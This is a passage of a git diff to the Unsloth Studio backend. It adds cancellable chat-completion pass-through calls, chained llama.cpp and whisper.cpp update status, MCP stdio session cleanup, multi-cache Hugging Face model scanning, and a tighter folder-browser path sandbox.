+    monitor_id: Optional[str] = None,
+    *,
+    request: Optional[Request] = None,
+    cancel_event = None,
 ):
     """Non-streaming client-side pass-through for /v1/chat/completions.
 
@@ -11454,20 +15540,67 @@ async def _openai_passthrough_non_streaming(
     ``tool_calls``, and accurate ``usage`` token counts.
     """
     target_url = f"{llama_backend.base_url}/v1/chat/completions"
+    upstream_headers = _openai_passthrough_upstream_headers(llama_backend = llama_backend)
     body = _build_openai_passthrough_body(
         payload, backend_ctx = llama_backend.context_length, llama_backend = llama_backend
     )
+    body["stream"] = False
+    body.pop("stream_options", None)
 
     _truncate_budget = (
         _OVERFLOW_TRUNCATE_MAX_RETRIES if _overflow_truncation_requested(payload) else 0
     )
-    while True:
-        try:
-            resp = await nonstreaming_client().post(
+
+    async def _post(body_to_send):
+        if cancel_event is None and request is None:
+            return await nonstreaming_client().post(
                 target_url,
-                json = body,
+                json = body_to_send,
+                headers = upstream_headers,
                 timeout = _llama_non_streaming_generation_timeout(),
             )
+
+        if cancel_event is None:
+            cancel = threading.Event()
+        else:
+            cancel = cancel_event
+        client = _cancelable_nonstreaming_client()
+        watcher = asyncio.create_task(
+            _await_cancel_or_disconnect_then_close_client(
+                cancel_event = cancel,
+                request = request,
+                client = client,
+            )
+        )
+        try:
+            try:
+                response = await client.post(
+                    target_url,
+                    json = body_to_send,
+                    headers = upstream_headers,
+                    timeout = _llama_non_streaming_generation_timeout(),
+                )
+            except httpx.RequestError:
+                if cancel.is_set():
+                    raise asyncio.CancelledError()
+                raise
+            if cancel.is_set():
+                raise asyncio.CancelledError()
+            return response
+        finally:
+            watcher.cancel()
+            try:
+                await watcher
+            except (asyncio.CancelledError, Exception):
+                pass
+            try:
+                await client.aclose()
+            except Exception:
+                pass
+
+    while True:
+        try:
+            resp = await _post(body)
         except asyncio.CancelledError:
             api_monitor.finish(monitor_id, "cancelled")
             raise
@@ -11535,15 +15668,14 @@ async def _openai_passthrough_non_streaming(
             "messages": [*body.get("messages", []), *nudge_messages(data, _allowed_tools)],
         }
         try:
-            retry_resp = await nonstreaming_client().post(
-                target_url,
-                json = retry_body,
-                timeout = _llama_non_streaming_generation_timeout(),
-            )
+            retry_resp = await _post(retry_body)
             if retry_resp.status_code == 200:
                 retry_data = retry_resp.json()
                 if response_has_promotable_calls(retry_data, _allowed_tools, body.get("tools")):
                     resp, data = retry_resp, retry_data
+        except asyncio.CancelledError:
+            api_monitor.finish(monitor_id, "cancelled")
+            raise
         except (httpx.RequestError, ValueError) as exc:
             logger.warning("tool-call nudge retry failed; keeping original: %s", exc)
 
diff --git a/studio/backend/routes/llama.py b/studio/backend/routes/llama.py
index 123349126d..84b89ad7d5 100644
--- a/studio/backend/routes/llama.py
+++ b/studio/backend/routes/llama.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""llama.cpp prebuilt update endpoints.
+"""llama.cpp prebuilt update endpoints -- the single main update item.
 
 GET  /api/llama/update-status  -> is a newer prebuilt available + job state
 POST /api/llama/update         -> download + atomically swap to the latest
@@ -9,19 +9,28 @@ POST /api/llama/update         -> download + atomically swap to the latest
 Detection reuses utils.llama_cpp_freshness; the swap reuses
 install_llama_prebuilt.py via utils.llama_cpp_update. Both fail open so the UI
 never blocks on a missing marker / offline GitHub.
+
+whisper.cpp updates piggyback here: the status payload carries a whisper
+sub-status (update_available is the llama OR whisper union) and the apply job
+chains a whisper phase after the llama phase when whisper is behind, with a
+per-phase breakdown in job.phases. All pre-existing top-level fields keep
+their shape, so older clients keep working unchanged.
 """
 
 from __future__ import annotations
 
 import asyncio
-from typing import Optional
+import threading
+from typing import Literal, Optional
 
 from fastapi import APIRouter, Depends, Query
 from pydantic import BaseModel, Field
 
 from auth.authentication import get_current_subject
+from loggers import get_logger
 from utils.llama_cpp_update import get_update_status, start_update
 
+logger = get_logger(__name__)
 router = APIRouter()
 
 
@@ -35,6 +44,31 @@ class LlamaUpdateJob(BaseModel):
     progress: Optional[float] = Field(None, description = "0..1 while running, 1 on success.")
     started_at: Optional[str] = None
     finished_at: Optional[str] = None
+    phases: Optional[dict] = Field(
+        None,
+        description = (
+            "Per-phase breakdown of a chained llama+whisper job "
+            "(name -> state/progress/to_tag/...); None for pre-chaining jobs."
+        ),
+    )
+
+
+class WhisperSubStatus(BaseModel):
+    """The whisper piggyback inside the llama update item."""
+
+    update_available: bool = Field(
+        False, description = "True when the chained apply would run a whisper phase."
+    )
+    installed_tag: Optional[str] = None
+    latest_tag: Optional[str] = None
+    update_size_bytes: Optional[int] = None
+    skip_reason: Optional[str] = Field(
+        None,
+        description = (
+            "Why the whisper phase would be skipped "
+            "(up_to_date | local_link | source_build | not_installed | ...)."
+        ),
+    )
 
 
 class LlamaUpdateStatusResponse(BaseModel):
@@ -43,7 +77,18 @@ class LlamaUpdateStatusResponse(BaseModel):
         description = "True when the install came from an Unsloth prebuilt (has a marker).",
     )
     update_available: bool = Field(
-        False, description = "True when the latest release is genuinely newer than the install."
+        False,
+        description = (
+            "True when an update would do something: llama.cpp is behind OR the "
+            "whisper piggyback is behind."
+        ),
+    )
+    llama_update_available: bool = Field(
+        False, description = "True when the latest llama.cpp release is newer than the install."
+    )
+    update_component: Optional[Literal["llama", "whisper"]] = Field(
+        None,
+        description = "Component whose versions the combined update banner should display.",
     )
     stale: bool = Field(
         False, description = "Update available AND install older than the staleness threshold."
@@ -59,6 +104,9 @@ class LlamaUpdateStatusResponse(BaseModel):
     update_size_bytes: Optional[int] = Field(
         None, description = "Download size of the prebuilt Update would fetch, in bytes."
     )
+    whisper: Optional[WhisperSubStatus] = Field(
+        None, description = "Whisper piggyback sub-status; None when the probe is unavailable."
+    )
     job: LlamaUpdateJob = Field(default_factory = LlamaUpdateJob)
 
 
@@ -69,6 +117,27 @@ class LlamaUpdateActionResponse(BaseModel):
     job: LlamaUpdateJob = Field(default_factory = LlamaUpdateJob)
 
 
+_llama_update_lock = threading.Lock()
+_last_llama_update_step = -1
+
+
+def _log_llama_update_progress(job: LlamaUpdateJob) -> None:
+    """One llama_update_progress line per 10% step so a prebuilt update reports
+    progress without a line per poll. Resyncs when a new update starts."""
+    global _last_llama_update_step
+    if job.state != "running" or job.progress is None:
+        return
+    step = int(max(0.0, min(float(job.progress), 1.0)) * 10)
+    with _llama_update_lock:
+        prev = _last_llama_update_step
+        if step == prev:
+            return
+        _last_llama_update_step = step
+        if step < prev:
+            return  # new update; resync without logging
+    logger.info("llama_update_progress", to_tag = job.to_tag or "", percent = step * 10)
+
+
 @router.get("/update-status", response_model = LlamaUpdateStatusResponse)
 async def llama_update_status(
     force_refresh: bool = Query(
@@ -78,7 +147,9 @@ async def llama_update_status(
 ) -> LlamaUpdateStatusResponse:
     # Off the event loop: detection may probe the host and read GitHub.
     status = await asyncio.to_thread(get_update_status, force_refresh = force_refresh)
-    return LlamaUpdateStatusResponse(**status)
+    resp = LlamaUpdateStatusResponse(**status)
+    _log_llama_update_progress(resp.job)
+    return resp
 
 
 @router.post("/update", response_model = LlamaUpdateActionResponse)
diff --git a/studio/backend/routes/mcp_servers.py b/studio/backend/routes/mcp_servers.py
index 80cd8e1437..dc018d163a 100644
--- a/studio/backend/routes/mcp_servers.py
+++ b/studio/backend/routes/mcp_servers.py
@@ -1,6 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import asyncio
 import json
 import uuid
 from urllib.parse import urlparse
@@ -13,6 +14,7 @@ from core.inference.mcp_client import (
     TOOL_CACHE_INVALIDATING_FIELDS,
     cache_tools,
     clear_oauth_tokens_async,
+    close_stdio_sessions,
     invalidate_tool_cache,
     is_stdio,
     list_tools_async,
@@ -80,7 +82,7 @@ def _validate_url(url: str) -> str:
         if _looks_like_command(trimmed):
             detail = (
                 "Local commands aren't enabled on this server. To allow them, "
-                "set UNSLOTH_STUDIO_ALLOW_STDIO_MCP=1 and restart Studio, or use "
+                "set UNSLOTH_STUDIO_ALLOW_STDIO_MCP=1 and restart Unsloth, or use "
                 "an http:// or https:// URL instead."
             )
         else:
@@ -206,11 +208,15 @@ async def update_mcp_server(
     ):
         await clear_oauth_tokens_async(old["url"])
     mcp_servers_db.update_server(server_id, changes)
-    # A new endpoint/auth makes cached tools wrong and disabling makes them
-    # unreachable, so drop them and let the next send re-probe; a rename
-    # leaves them valid.
-    if changes.keys() & TOOL_CACHE_INVALIDATING_FIELDS:
+    # A new endpoint/auth makes cached tools wrong and disabling makes them unreachable, so drop
+    # them and let the next send re-probe; a rename leaves them valid. Live stdio sessions for the
+    # old endpoint close too. Gate on a real value change, not mere presence: the edit dialog
+    # resends url/headers/oauth unchanged on a rename, which must not drop the session.
+    if any(changes[k] != old.get(k) for k in changes.keys() & TOOL_CACHE_INVALIDATING_FIELDS):
         invalidate_tool_cache(server_id)
+        # Narrow to this row's env: another server row sharing the command but
+        # with a different env keeps its live sessions.
+        await asyncio.to_thread(close_stdio_sessions, old["url"], parse_server_headers(old))
     return _row_to_response(mcp_servers_db.get_server(server_id))
 
 
@@ -223,6 +229,7 @@ async def delete_mcp_server(server_id: str, current_subject: str = Depends(get_c
         await clear_oauth_tokens_async(old["url"])
     mcp_servers_db.delete_server(server_id)
     invalidate_tool_cache(server_id)
+    await asyncio.to_thread(close_stdio_sessions, old["url"], parse_server_headers(old))
 
 
 @router.post("/{server_id}/refresh", response_model = McpServerProbeResult)
diff --git a/studio/backend/routes/models.py b/studio/backend/routes/models.py
index c23ab1d428..3c0d6ff4ba 100644
--- a/studio/backend/routes/models.py
+++ b/studio/backend/routes/models.py
@@ -59,59 +59,51 @@ def _safe_is_dir(path) -> bool:
         return False
 
 
-# Hub repo id shape ("owner/name", no leading separator); anything else is
-# treated as a local filesystem path.
-_HF_REPO_ID_RE = re.compile(r"^[A-Za-z0-9][\w.\-]*/[\w.\-]+$")
+# Shared with the hub inventory scans; keep the private aliases so existing
+# importers stay valid. ``_HF_REPO_ID_RE`` is the Hub repo id shape ("owner/name");
+# anything else is treated as a local filesystem path.
+from utils.hidden_models import (
+    _HF_REPO_ID_RE,
+    _existing_resolved_path,
+    _safe_resolve,
+    is_hidden_model as _is_hidden_model,
+)
 
 
-def _is_hidden_model(*values: str | None) -> bool:
-    """True if any id/path is the RAG embedding model (EMBEDDING_MODEL or
-    EMBED_GGUF_REPO basename) or the llama.cpp install validation probe
-    (ggml-org/models / stories260K), so pickers hide them (GGUF and non-GGUF).
-    None are usable chat models; the probe can be cached as a side effect of
-    installing the prebuilt llama-server and otherwise sorts smallest, so it
-    would be auto-selected. A local-path embedder is matched by exact resolved
-    path only: a generic basename like "model" must not substring-hide
-    unrelated chat models."""
+def hidden_model_matchers() -> tuple[list[str], list[str], list[str]]:
+    """Substring needles, exact repo ids, and exact resolved paths identifying
+    infra models (the RAG embedder and the llama.cpp install validation probe)
+    that pickers hide. Served by the ``/api/hub/hidden-models`` endpoint. A
+    configured HF-repo embedder is published as its exact lowercased repo id
+    (mirroring ``utils.hidden_models.is_hidden_model``) and a local-path
+    embedder as its exact resolved path only: a generic basename like "model"
+    must not substring-hide unrelated chat models."""
     from core.rag import config as rag_config
 
     needles = [
-        # The validation probe's repo (matches the cached repo id) and its exact
-        # filename (matches the on-disk path). The filename carries the .gguf so
-        # it does not hide unrelated repos like ``user/stories260K-finetune-GGUF``.
+        # The validation probe's repo and its exact filename. The filename carries
+        # .gguf so it won't hide unrelated repos like ``user/stories260K-finetune-GGUF``.
         "ggml-org/models",
         "stories260k.gguf",
     ]
+    exact_ids: list[str] = []
     exact_paths: list[str] = []
     for model in (
         rag_config.effective_embedding_model(),
         rag_config.effective_gguf_repo(),
     ):
-        if _HF_REPO_ID_RE.match(model):
-            needles.append(model.split("/")[-1].lower())
+        # Resolve an existing local path before the repo-id regex: a local embedder
+        # shaped like "models/embedder" is an exact path, not a Hub repo id.
+        existing_path = _existing_resolved_path(model)
+        if existing_path:
+            exact_paths.append(existing_path.lower())
+        elif _HF_REPO_ID_RE.match(model):
+            exact_ids.append(model.lower())
         else:
             resolved = _safe_resolve(Path(model).expanduser())
             if resolved:
                 exact_paths.append(resolved.lower())
-    for v in values:
-        if not v:
-            continue
-        low = v.lower()
-        if any(n in low for n in needles):
-            return True
-        if exact_paths:
-            resolved = _safe_resolve(Path(v).expanduser())
-            if resolved and resolved.lower() in exact_paths:
-                return True
-    return False
-
-
-def _safe_resolve(path: Path) -> Optional[str]:
-    """resolve() to a string, or None when the path is inaccessible."""
-    try:
-        return str(path.resolve())
-    except OSError:
-        return None
+    return needles, exact_ids, exact_paths
 
 
 backend_path = Path(__file__).parent.parent.parent
@@ -138,6 +130,7 @@ try:
         _pick_best_gguf,
         _extract_quant_label,
         _is_big_endian_gguf_path,
+        _is_mtp_drafter,
         is_audio_input_type,
     )
     from core.inference import get_inference_backend
@@ -170,6 +163,7 @@ except ImportError:
         _pick_best_gguf,
         _extract_quant_label,
         _is_big_endian_gguf_path,
+        _is_mtp_drafter,
         is_audio_input_type,
     )
     from core.inference import get_inference_backend
@@ -230,11 +224,8 @@ def derive_model_type(
 
 def _resolve_hf_cache_dir() -> Path:
     """Resolve local HF cache root used by hub downloads."""
-    try:
-        from huggingface_hub.constants import HF_HUB_CACHE
-        return Path(HF_HUB_CACHE)
-    except Exception:
-        return Path.home() / ".cache" / "huggingface" / "hub"
+    from utils.hf_cache_settings import get_hf_cache_paths
+    return get_hf_cache_paths().hub_cache
 
 
 def _is_model_directory(d: Path) -> bool:
@@ -376,10 +367,12 @@ def _scan_models_dir(models_dir: Path, *, limit: int | None = None) -> List[Loca
     return found
 
 
-def _scan_hf_cache(cache_dir: Path) -> List[LocalModelInfo]:
+def _scan_hf_cache(cache_dir: Path, *, active_cache: bool = True) -> List[LocalModelInfo]:
     if not cache_dir.exists() or not cache_dir.is_dir():
         return []
 
+    from hub.utils import inventory_scan as hf_cache_scan
+
     found: List[LocalModelInfo] = []
     for repo_dir in cache_dir.glob("models--*"):
         if not repo_dir.is_dir():
@@ -395,13 +388,21 @@ def _scan_hf_cache(cache_dir: Path) -> List[LocalModelInfo]:
         except OSError:
             updated_at = None
 
+        partial = hf_cache_scan.is_snapshot_partial("model", model_id, repo_dir)
+        partial = partial or hf_cache_scan.is_gguf_repo_partial(model_id, repo_dir)
+
+        load_id = model_id
+        if not active_cache:
+            load_id = _resolve_hf_cache_realpath(repo_dir) or str(repo_dir.resolve())
         found.append(
             LocalModelInfo(
-                id = model_id,
+                id = load_id,
                 model_id = model_id,
                 display_name = model_id.split("/")[-1],
-                path = str(repo_dir),
+                path = load_id if not active_cache else str(repo_dir),
                 source = "hf_cache",
+                active_cache = active_cache,
+                partial = partial,
                 updated_at = updated_at,
             ),
         )
@@ -544,7 +545,7 @@ def _ollama_links_dir(ollama_dir: Path) -> Optional[Path]:
     """Return a writable directory for Ollama ``.gguf`` symlinks.
 
     Prefers ``<ollama_dir>/.studio_links/`` so links sit next to their
-    blobs; falls back to a per-ollama-dir namespace under Studio's cache
+    blobs; falls back to a per-ollama-dir namespace under Unsloth's cache
     when the models dir is read-only (common for system installs).
     """
     from utils.paths.storage_roots import cache_root
@@ -555,7 +556,7 @@ def _ollama_links_dir(ollama_dir: Path) -> Optional[Path]:
         return primary
     except OSError as e:
         logger.debug(
-            "Ollama dir %s not writable for .studio_links (%s); falling back to Studio cache",
+            "Ollama dir %s not writable for .studio_links (%s); falling back to Unsloth cache",
             ollama_dir,
             e,
         )
@@ -594,7 +595,7 @@ def _scan_ollama_dir(ollama_dir: Path, limit: Optional[int] = None) -> List[Loca
     model, keyed by a short hash of the manifest path, so
     ``detect_mmproj_file`` only sees that model's projector). Links are
     symlinks when possible, else hardlinks; the link dir is
-    ``.studio_links/`` when writable, else Studio's cache.
+    ``.studio_links/`` when writable, else Unsloth's cache.
     """
     manifests_root = ollama_dir / "manifests"
     if not manifests_root.is_dir():
@@ -782,26 +783,34 @@ def collect_local_models(models_root: Path) -> List[LocalModelInfo]:
         legacy_hf_cache_dir,
         lmstudio_model_dirs,
     )
+    from utils.hf_cache_settings import known_hf_hub_caches
 
     hf_cache_dir = _resolve_hf_cache_dir()
     legacy_hf = legacy_hf_cache_dir()
     hf_default = hf_default_cache_dir()
     lm_dirs = lmstudio_model_dirs()
 
-    local_models = _scan_models_dir(models_root) + _scan_hf_cache(hf_cache_dir)
-
-    # Resolve once; an inaccessible aux cache must skip that scan, not 500.
-    hf_cache_real = _safe_resolve(hf_cache_dir)
-    legacy_real = _safe_resolve(legacy_hf)
-    default_real = _safe_resolve(hf_default)
-
-    # Scan legacy Unsloth HF cache for backward compatibility.
-    if _safe_is_dir(legacy_hf) and legacy_real != hf_cache_real:
-        local_models += _scan_hf_cache(legacy_hf)
-
-    # Scan HF system default cache (may differ under env overrides).
-    if _safe_is_dir(hf_default) and default_real != hf_cache_real and default_real != legacy_real:
-        local_models += _scan_hf_cache(hf_default)
+    local_models = _scan_models_dir(models_root)
+    active_cache_real = _safe_resolve(hf_cache_dir)
+    active_cache_key = os.path.normcase(active_cache_real) if active_cache_real else None
+    seen_hf: set[str] = set()
+    for cache_dir in (
+        hf_cache_dir,
+        *known_hf_hub_caches(),
+        legacy_hf,
+        hf_default,
+    ):
+        cache_real = _safe_resolve(cache_dir)
+        if cache_real is None:
+            continue
+        cache_key = os.path.normcase(str(cache_real))
+        if cache_key in seen_hf:
+            continue
+        seen_hf.add(cache_key)
+        local_models += _scan_hf_cache(
+            cache_dir,
+            active_cache = cache_key == active_cache_key,
+        )
 
     # Scan LM Studio directories.
     for lm_dir in lm_dirs:
@@ -823,7 +832,7 @@ def collect_local_models(models_root: Path) -> List[LocalModelInfo]:
                 m
                 for m in (
                     _scan_models_dir(folder_path, limit = _MAX_MODELS_PER_FOLDER)
-                    + _scan_hf_cache(folder_path)
+                    + _scan_hf_cache(folder_path, active_cache = False)
                     + _scan_lmstudio_dir(folder_path)
                 )
                 if not any(p in (".studio_links", "ollama_links") for p in Path(m.path).parts)
@@ -844,16 +853,26 @@ def collect_local_models(models_root: Path) -> List[LocalModelInfo]:
     # even when the model is also in the HF cache.
     deduped: dict[str, LocalModelInfo] = {}
     for model in local_models:
-        key = f"{model.id}\x00custom" if model.source == "custom" else model.id
-        if key not in deduped:
+        semantic_id = model.model_id if model.source == "hf_cache" and model.model_id else model.id
+        key = f"{semantic_id}\x00custom" if model.source == "custom" else semantic_id
+        existing = deduped.get(key)
+        prefer_model = existing is None
+        if existing is not None and model.source == existing.source == "hf_cache":
+            if model.partial != existing.partial:
+                prefer_model = not model.partial
+            elif bool(model.active_cache) != bool(existing.active_cache):
+                prefer_model = bool(model.active_cache)
+            else:
+                prefer_model = (model.updated_at or 0) > (existing.updated_at or 0)
+        if prefer_model:
             deduped[key] = model
 
     models = sorted(
         deduped.values(),
-        key = lambda item: (item.updated_at or 0),
+        key = lambda item: item.updated_at or 0,
         reverse = True,
     )
-    return [m for m in models if not _is_hidden_model(m.id, m.path)]
+    return [m for m in models if not _is_hidden_model(m.id, m.model_id, m.path)]
 
 
 @router.get("/local", response_model = LocalModelListResponse)
@@ -1188,21 +1207,27 @@ def _looks_like_model_dir(directory: Path) -> bool:
     return False
 
 
-def _build_browse_allowlist() -> list[Path]:
+def _build_browse_allowlist(
+    media_roots: Optional[list[Path]] = None, drive_roots: Optional[list[Path]] = None
+) -> list[Path]:
     """Return the root directories the folder browser may walk.
 
     The same list seeds the sidebar suggestion chips, so chip targets are
-    always reachable. Roots: HOME, resolved HF cache dirs, Studio's
+    always reachable. Roots: HOME, resolved HF cache dirs, Unsloth's
     outputs/exports/studio root, registered scan folders, and well-known
     local-LLM dirs (LM Studio, Ollama, ``~/models``); each added only if
     it resolves to a real directory.
+
+    *media_roots* / *drive_roots* let the caller pass already-probed
+    removable-media and Windows drive roots so they aren't scanned again (a
+    disconnected mapped drive can make each probe slow); probed here when ``None``.
     """
     from utils.paths import (
         hf_default_cache_dir,
         legacy_hf_cache_dir,
         well_known_model_dirs,
     )
-    from utils.paths.external_media import linux_run_media_mount_roots
+    from utils.paths import external_media
     from storage.studio_db import list_scan_folders
 
     candidates: list[Path] = []
@@ -1218,7 +1243,16 @@ def _build_browse_allowlist() -> list[Path]:
             candidates.append(resolved)
 
     _add(Path.home())
-    for p in linux_run_media_mount_roots():
+    if media_roots is None:
+        media_roots = [
+            *external_media.linux_run_media_mount_roots(),
+            *external_media.macos_volume_roots(),
+        ]
+    if drive_roots is None:
+        drive_roots = external_media.windows_drive_roots()
+    for p in media_roots:
+        _add(p)
+    for p in drive_roots:
         _add(p)
     _add(_resolve_hf_cache_dir())
     try:
@@ -1269,19 +1303,43 @@ def _build_browse_allowlist() -> list[Path]:
 def _is_path_inside_allowlist(target: Path, allowed_roots: list[Path]) -> bool:
     """True if *target* equals or descends from any allowed root.
 
-    Uses ``os.path.realpath`` so symlinks can't escape the sandbox.
+    Uses ``os.path.realpath`` (symlinks can't escape the sandbox) and
+    ``os.path.commonpath`` for a component-wise containment test, so a string
+    prefix like ``/home/u`` never matches a sibling ``/home/user2`` while a
+    drive root ``D:\\`` still contains ``D:\\models``. A Windows drive root
+    authorizes its descendants, but a bare POSIX root ``/`` must NOT, else one
+    ``/`` allowlist entry would authorize every absolute path. ``normcase`` keeps
+    the drive-letter comparison case-insensitive, matching the hub browser.
     """
     try:
-        target_real = os.path.realpath(str(target))
+        target_real = os.path.normcase(os.path.realpath(str(target)))
     except OSError:
         return False
     for root in allowed_roots:
         try:
-            root_real = os.path.realpath(str(root))
+            root_real = os.path.normcase(os.path.realpath(str(root)))
         except OSError:
             continue
-        if target_real == root_real or target_real.startswith(root_real + os.sep):
+        if target_real == root_real:
             return True
+        drive, tail = os.path.splitdrive(root_real)
+        if os.path.dirname(root_real) == root_real and not drive:
+            # Bare POSIX filesystem root ("/"): equality above is the only
+            # match; do not let it authorize arbitrary descendants.
+            continue
+        if drive.startswith(("\\\\", "//")) and not tail:
+            # Bare UNC share root (\\server\share): os.path.commonpath raises
+            # "can't mix absolute and relative" on it, so authorize its
+            # descendants with a boundary-safe prefix test (normcase applied).
+            if target_real.startswith(root_real.rstrip("\\/") + os.sep):
+                return True
+            continue
+        try:
+            if os.path.commonpath([target_real, root_real]) == root_real:
+                return True
+        except ValueError:
+            # Different drives / mixed absolute-relative: not contained.
+            continue
     return False
 
 
@@ -1339,7 +1397,10 @@ def _match_browse_child(current: Path, name: str) -> Optional[Path]:
 
 def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Path:
     """Resolve a requested browse path by walking from trusted allowlist roots."""
-    from storage.studio_db import contains_sensitive_path_component
+    from storage.studio_db import (
+        contains_sensitive_path_component,
+        is_denied_system_path,
+    )
 
     requested_path = _normalize_browse_request_path(path)
     resolved_roots: list[Path] = []
@@ -1396,6 +1457,11 @@ def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Pa
                     status_code = 403,
                     detail = "Credential or configuration directories are not browseable.",
                 )
+            if is_denied_system_path(str(resolved_child)):
+                raise HTTPException(
+                    status_code = 403,
+                    detail = "System directories are not browseable.",
+                )
             current = resolved_child
 
         if contains_sensitive_path_component(str(current)):
@@ -1403,6 +1469,13 @@ def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Pa
                 status_code = 403,
                 detail = "Credential or configuration directories are not browseable.",
             )
+        # Zero-component case: the requested path IS an allowlist root
+        # (e.g. a legacy-registered "/" or a Windows drive root).
+        if is_denied_system_path(str(current)):
+            raise HTTPException(
+                status_code = 403,
+                detail = "System directories are not browseable.",
+            )
         if not current.is_dir():
             raise HTTPException(
                 status_code = 400,
@@ -1420,15 +1493,19 @@ def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Pa
     )
 
 
+# Sync (def, not async) so FastAPI runs the blocking filesystem I/O (drive
+# probes, iterdir, realpath) in the threadpool: a disconnected mapped drive can
+# make the probe wait out its timeout, which on the event loop would stall every
+# other request. Matches the hub browse endpoint.
 @router.get("/browse-folders", response_model = BrowseFoldersResponse)
-async def browse_folders(
+def browse_folders(
     path: Optional[str] = Query(
         None,
         description = (
             "Directory to list. If omitted, defaults to the current user's "
             "home directory. Tilde (`~`) and relative paths are expanded. "
             "Must resolve inside the allowlist of browseable roots (HOME, "
-            "HF cache, Studio dirs, registered scan folders, well-known "
+            "HF cache, Unsloth dirs, registered scan folders, well-known "
             "model dirs)."
         ),
     ),
@@ -1450,11 +1527,22 @@ async def browse_folders(
     then hidden (if ``show_hidden=true``).
     """
     from utils.paths import hf_default_cache_dir, well_known_model_dirs
-    from utils.paths.external_media import linux_run_media_mount_roots
-    from storage.studio_db import contains_sensitive_path_component, list_scan_folders
+    from utils.paths import external_media
+    from storage.studio_db import (
+        contains_sensitive_path_component,
+        is_denied_system_path,
+        list_scan_folders,
+    )
 
+    # Probe removable-media and Windows drive roots once; the allowlist and
+    # chips reuse the result so a disconnected mapped drive isn't scanned twice.
+    media_roots = [
+        *external_media.linux_run_media_mount_roots(),
+        *external_media.macos_volume_roots(),
+    ]
+    drive_roots = external_media.windows_drive_roots()
     # Build once; the sandbox check and suggestion chips share it.
-    allowed_roots = _build_browse_allowlist()
+    allowed_roots = _build_browse_allowlist(media_roots, drive_roots)
 
     try:
         target = _resolve_browse_target(path, allowed_roots)
@@ -1506,6 +1594,15 @@ async def browse_folders(
                 continue
             if contains_sensitive_path_component(name):
                 continue
+            # Hide denied system dirs (C:\Windows, /etc, ...) so they don't
+            # render as clickable rows that then 403 on descent. Resolve first
+            # so a symlink/junction into a denied dir is hidden too, not just a literal name.
+            try:
+                resolved_child = os.path.realpath(str(child))
+            except (OSError, ValueError):
+                resolved_child = str(child)
+            if is_denied_system_path(resolved_child):
+                continue
             entries.append(
                 BrowseEntry(
                     name = name,
@@ -1553,13 +1650,22 @@ async def browse_folders(
             return
         if resolved in seen_sug:
             return
+        # Drop a denied system dir (e.g. a stale scan-folder row) so it never
+        # becomes a chip that 403s on click. Drive roots stay: only their
+        # system subdirectories are denied, not the root itself.
+        if is_denied_system_path(resolved):
+            return
         if _safe_is_dir(resolved):
             seen_sug.add(resolved)
             suggestions.append(resolved)
 
     # Home first -- the safe fallback when everything else is cold.
     _add_sug(Path.home())
-    for p in linux_run_media_mount_roots():
+    # Reuse the roots probed for the allowlist above (no second drive scan).
+    for p in media_roots:
+        _add_sug(p)
+    # Windows drive roots so the user can hop between C:, D:, E: ...
+    for p in drive_roots:
         _add_sug(p)
     # The HF cache root the process is actually using.
     try:
@@ -1710,9 +1816,11 @@ def _get_model_size_bytes(model_name: str, hf_token: Optional[str] = None) -> Op
 async def get_model_config(
     model_name: str,
     hf_token: Optional[str] = Query(None),
+    header_hf_token: Optional[str] = Depends(get_hf_token),
     current_subject: str = Depends(get_current_subject),
 ):
     """Get configuration for a specific model (wraps load_model_defaults)."""
+    hf_token = _normalize_hf_token(header_hf_token) or _normalize_hf_token(hf_token)
     try:
         if not is_local_path(model_name):
             resolved = resolve_cached_repo_id_case(model_name)
@@ -1951,19 +2059,19 @@ async def discard_remote_code_download(
 
     # Never delete a model that is loaded for inference.
     try:
+        from hub.services.models.deletion import _loaded_id_matches_repo
         from routes.inference import get_llama_cpp_backend
+
         llama_backend = get_llama_cpp_backend()
         if llama_backend.is_loaded and llama_backend.model_identifier:
-            loaded = llama_backend.model_identifier.lower()
-            if loaded == model_name.lower() or loaded.startswith(model_name.lower()):
+            if _loaded_id_matches_repo(llama_backend.model_identifier, model_name):
                 return {"deleted": False, "reason": "loaded"}
     except Exception:
         pass
     try:
         inference_backend = get_inference_backend()
         if inference_backend.active_model_name:
-            active = inference_backend.active_model_name.lower()
-            if active == model_name.lower() or active.startswith(model_name.lower()):
+            if _loaded_id_matches_repo(inference_backend.active_model_name, model_name):
                 return {"deleted": False, "reason": "loaded"}
     except Exception:
         pass
@@ -2164,15 +2272,15 @@ async def delete_finetuned_model(
     gguf_variant: Optional[str] = Body(None),
     current_subject: str = Depends(get_current_subject),
 ):
-    """Delete a Studio-trained or exported model from disk.
+    """Delete an Unsloth-trained or exported model from disk.
 
-    Only paths under Studio's outputs/exports roots are accepted.
+    Only paths under Unsloth's outputs/exports roots are accepted.
     Exported GGUF entries can delete one quant variant at a time.
     """
     if source not in {"training", "exported"}:
         raise HTTPException(
             status_code = 400,
-            detail = "Only trained or exported Studio models can be deleted",
+            detail = "Only trained or exported Unsloth models can be deleted",
         )
 
     if not model_path or not model_path.strip():
@@ -2204,14 +2312,14 @@ async def delete_finetuned_model(
         if not _is_path_under_lexically(delete_path, allowed_root):
             raise HTTPException(
                 status_code = 400,
-                detail = "Model path is outside Studio storage",
+                detail = "Model path is outside Unsloth storage",
             )
         if export_type == "gguf" and gguf_variant:
             target_path = delete_path.resolve()
             if not _is_path_under(target_path, allowed_root):
                 raise HTTPException(
                     status_code = 400,
-                    detail = "Model path is outside Studio storage",
+                    detail = "Model path is outside Unsloth storage",
                 )
         else:
             target_path = delete_path
@@ -2224,7 +2332,7 @@ async def delete_finetuned_model(
     if should_check_resolved_path and not _is_path_under(target_path, allowed_root):
         raise HTTPException(
             status_code = 400,
-            detail = "Model path is outside Studio storage",
+            detail = "Model path is outside Unsloth storage",
         )
     if target_path == allowed_root:
         raise HTTPException(
@@ -2431,6 +2539,7 @@ async def get_lora_base_model(lora_path: str, current_subject: str = Depends(get
 async def check_vision_model(
     model_name: str,
     hf_token: Optional[str] = Query(None),
+    header_hf_token: Optional[str] = Depends(get_hf_token),
     current_subject: str = Depends(get_current_subject),
 ):
     """
@@ -2438,6 +2547,7 @@ async def check_vision_model(
 
